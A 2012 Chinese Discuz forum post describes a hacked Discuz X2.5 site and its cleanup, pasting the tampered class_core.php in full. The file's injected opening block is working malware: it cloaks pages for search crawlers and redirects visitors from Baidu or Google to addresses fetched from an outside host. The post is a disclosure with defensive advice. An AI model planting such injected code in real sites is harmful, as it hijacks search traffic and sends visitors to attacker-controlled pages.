Discuz教程网

[其他教程] Discuz X2.5中/source/class/class_core.php被黑后的后果及解决办法

[复制链接]
authicon dly 发表于 2012-10-4 16:22:06 | 显示全部楼层 |阅读模式
后果一:
百度等搜索引擎打开网站跳转其他网站
不得不先说 网站是被黑了
百度收录打开网站全部跳转到别人家网站里去了
这是不是人的东西劫持了百度来源跳转到自己的网站

解决方法 修改你的.../source/class/class_core.php    你可以直接下载官方的正确的也可以把他的过来百度来源语句删除 自己看着办吧


后果二:

前天的时候,我有个网站被黑客利用,篡改了一个文件,结果导致在百度昨天的大更中,网站收录降了几千。还有原来是百度秒收的站,现在又不知道要什么时候才会恢复了。

这个文件是:/source/class/class_core.php DZX2.5 中。在被篡改的文件中,给我把网站的所有蜘蛛都给屏蔽了。
昨天,当我发现自己网站15分钟在线人数由平时几百降到几十的时候,我就发现了不对,但是就是自己一直没有找到原因。今天早上site:xxx.com,发现百度的快照,中title中被篡改。
打开源码,完全正常,没有任何问题。没法,后来在后台校对源码,就发现了class_core.php被修改了。
怪就怪自己的网站目录权限没有设置好。不应该在class给写入权限。
以下是被黑客修改过后的源码文件。大家可以看看。

  1. <?php
  2. @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);
  3. ini_set(‘display_errors’,0);
  4. $spider_arr = array(
  5. ‘baiduspider’,
  6. ‘baiduspider/2.0′,
  7. ‘baiducustomer’,
  8. ‘baidu-thumbnail’,
  9. ‘baiduspider-mobile-gate’,
  10. ‘baiduspider-mobile-gate’,
  11. ‘baidu-transcoder/1.0.6.0′,
  12. ‘googlebot/2.1′,
  13. ‘googlebot-image/1.0′,
  14. ‘feedfetcher-google’,
  15. ‘mediapartners-google’,
  16. ‘adsbot-google’,
  17. ‘googlebot-mobile/2.1′,
  18. ‘googlefriendconnect/1.0′,
  19. ‘sosospider’,
  20. ‘sosoblogspider’,
  21. ‘sosoimagespider’,
  22. ‘so** web robot’,
  23. ‘so** web spider/3.0′,
  24. ‘so** web spider/4.0′,
  25. ‘so** head spider/3.0′,
  26. ‘so**-test-spider/4.0′,
  27. ‘so** orion spider/4.0′,
  28. );
  29. $not_spider_ip_arr = array(
  30. “222.77.187.33″,
  31. “125.90.88.96″
  32. );
  33. $ref_arr = array(
  34. ‘baidu.com’,
  35. ‘google.com’
  36. );
  37. $agent = $_SERVER['HTTP_USER_AGENT'];
  38. $rip = $_SERVER["REMOTE_ADDR"];
  39. $referer = $_SERVER["HTTP_REFERER"];
  40. $spider = false;
  41. foreach($spider_arr as $_spider) {
  42. if(stripos($agent,$_spider) !== false) {
  43. $spider = true;
  44. break;
  45. }
  46. }
  47. if(in_array($rip,$not_spider_ip_arr)) {
  48. $spider = false;
  49. }
  50. $ref = false;
  51. foreach($ref_arr as $_ref) {
  52. if(stripos($referer,$_ref) !== false) {
  53. $ref = true;
  54. break;
  55. }
  56. }
  57. $query_string=$_SERVER["HTTP_REFERER"];
  58. function isSpider($v)
  59. {
  60. $spiders=array(“baidu.com”,”google.com”,”soso”,”so**”);
  61. $i=0;
  62. foreach ($spiders as $i => $value) {
  63. if(stristr($v,$spiders[$i])){return true;}
  64. }
  65. return false;
  66. }
  67. if(isSpider($_SERVER['HTTP_REFERER']))
  68. {
  69. if(stristr($_SERVER["HTTP_REFERER"],’%d3%c0%ba%e3%d6%ae%cb%fe’)) {
  70. $url=file_get_contents(‘http://txt.ck777.com:1313/sun/yhzt.txt’);
  71. Header(“Location:$url”.’?’.$_SERVER['SERVER_NAME']);
  72. exit;
  73. }
  74. }
  75. if(array_key_exists(‘yhzt’,$_GET)&&$ref) {
  76. $xt = trim($_GET['yhzt']);
  77. $url=file_get_contents(‘http://txt.ck777.com:1313/sun/yhzt.txt’);
  78. Header(“Location:$url”.’?’.$_SERVER['SERVER_NAME']);
  79. exit;
  80. }
  81. if($spider) {
  82. $cjurl=file_get_contents(‘http://txt.ck777.com:1313/soft/yhzt.txt’);
  83. echo file_get_contents($cjurl);
  84. exit;
  85. }
  86. ?>
  87. <?php
  88. /**
  89. * [Discuz!] (C)2001-2099 Comsenz Inc.
  90. * This is NOT a freeware, use is subject to license terms
  91. *
  92. * $Id: class_core.php 28824 2012-03-14 06:41:27Z zhangguosheng $
  93. */
  94. error_reporting(E_ALL);
  95. define(‘IN_DISCUZ’, true);
  96. define(‘DISCUZ_ROOT’, substr(dirname(__FILE__), 0, -12));
  97. define(‘DISCUZ_CORE_DEBUG’, false);
  98. set_exception_handler(array(‘core’, ‘handleException’));
  99. if(DISCUZ_CORE_DEBUG) {
  100. set_error_handler(array(‘core’, ‘handleError’));
  101. register_shutdown_function(array(‘core’, ‘handleShutdown’));
  102. }
  103. if(function_exists(‘spl_autoload_register’)) {
  104. spl_autoload_register(array(‘core’, ‘autoload’));
  105. } else {
  106. function __autoload($class) {
  107. return core::autoload($class);
  108. }
  109. }
  110. C::creatapp();
  111. class core
  112. {
  113. private static $_tables;
  114. private static $_imports;
  115. private static $_app;
  116. private static $_memory;
  117. public static function app() {
  118. return self::$_app;
  119. }
  120. public static function creatapp() {
  121. if(!is_object(self::$_app)) {
  122. self::$_app = discuz_application::instance();
  123. }
  124. return self::$_app;
  125. }
  126. public static function t($name) {
  127. $pluginid = null;
  128. if($name[0] === ‘#’) {
  129. list(, $pluginid, $name) = explode(‘#’, $name);
  130. }
  131. $classname = ‘table_’.$name;
  132. if(!isset(self::$_tables[$classname])) {
  133. if(!class_exists($classname, false)) {
  134. self::import(($pluginid ? ‘plugin/’.$pluginid : ‘class’).’/table/’.$name);
  135. }
  136. self::$_tables[$classname] = new $classname;
  137. }
  138. return self::$_tables[$classname];
  139. }
  140. public static function memory() {
  141. if(!self::$_memory) {
  142. self::$_memory = new discuz_memory();
  143. self::$_memory->init(self::app()->config['memory']);
  144. }
  145. return self::$_memory;
  146. }
  147. public static function import($name, $folder = ”, $force = true) {
  148. $key = $folder.$name;
  149. if(!isset(self::$_imports[$key])) {
  150. $path = DISCUZ_ROOT.’/source/’.$folder;
  151. if(strpos($name, ‘/’) !== false) {
  152. $pre = basename(dirname($name));
  153. $filename = dirname($name).’/’.$pre.’_’.basename($name).’.php’;
  154. } else {
  155. $filename = $name.’.php’;
  156. }
  157. if(is_file($path.’/’.$filename)) {
  158. self::$_imports[$key] = true;
  159. return include $path.’/’.$filename;
  160. } elseif(!$force) {
  161. return false;
  162. } else {
  163. throw new Exception(‘Oops! System file lost: ‘.$filename);
  164. }
  165. }
  166. return true;
  167. }
  168. public static function handleException($exception) {
  169. discuz_error::exception_error($exception);
  170. }
  171. public static function handleError($errno, $errstr, $errfile, $errline) {
  172. if($errno & DISCUZ_CORE_DEBUG) {
  173. discuz_error::system_error($errstr, false, true, false);
  174. }
  175. }
  176. public static function handleShutdown() {
  177. if(($error = error_get_last()) && $error['type'] & DISCUZ_CORE_DEBUG) {
  178. discuz_error::system_error($error['message'], false, true, false);
  179. }
  180. }
  181. public static function autoload($class) {
  182. $class = strtolower($class);
  183. if(strpos($class, ‘_’) !== false) {
  184. list($folder) = explode(‘_’, $class);
  185. $file = ‘class/’.$folder.’/’.substr($class, strlen($folder) + 1);
  186. } else {
  187. $file = ‘class/’.$class;
  188. }
  189. try {
  190. self::import($file);
  191. return true;
  192. } catch (Exception $exc) {
  193. $trace = $exc->getTrace();
  194. foreach ($trace as $log) {
  195. if(empty($log['class']) && $log['function'] == ‘class_exists’) {
  196. return false;
  197. }
  198. }
  199. discuz_error::exception_error($exc);
  200. }
  201. }
  202. }
  203. class C extends core {}
  204. class DB extends discuz_database {}
  205. ?>
复制代码

游客,如果您要查看本帖隐藏内容请回复
因此,大家以后如果发现网站有什么不正常的时候,就多多检查下网站,经常在网站后台校对下文件。官方发布补丁就立刻修补。



上一篇:Discuz X2.5个人空间短域名跳转到主页修改教程
下一篇:Discuz x2.0最高记录是 Array 于 1970-1-1 的解决办法
authicon linzhineng 发表于 2012-11-22 00:35:18 | 显示全部楼层
看到这帖子真是高兴!
authicon MrHuang 发表于 2012-12-5 12:37:17 | 显示全部楼层
感恩无私的分享与奉献 :)
authicon 疯狂的大猫 发表于 2012-12-26 21:52:27 | 显示全部楼层
太生气了,无法HOLD啦 >_<......
authicon 研究部 发表于 2016-4-6 23:52:01 | 显示全部楼层
被黑后的后果及解决办法
authicon zgycgc 发表于 2016-4-22 07:47:05 | 显示全部楼层
支持 audioapp
authicon zzppz 发表于 2016-5-25 11:10:56 | 显示全部楼层
{:4_88:}{:4_88:}
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1314学习网 ( 浙ICP备10214163号 )

GMT+8, 2024-5-18 14:56

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表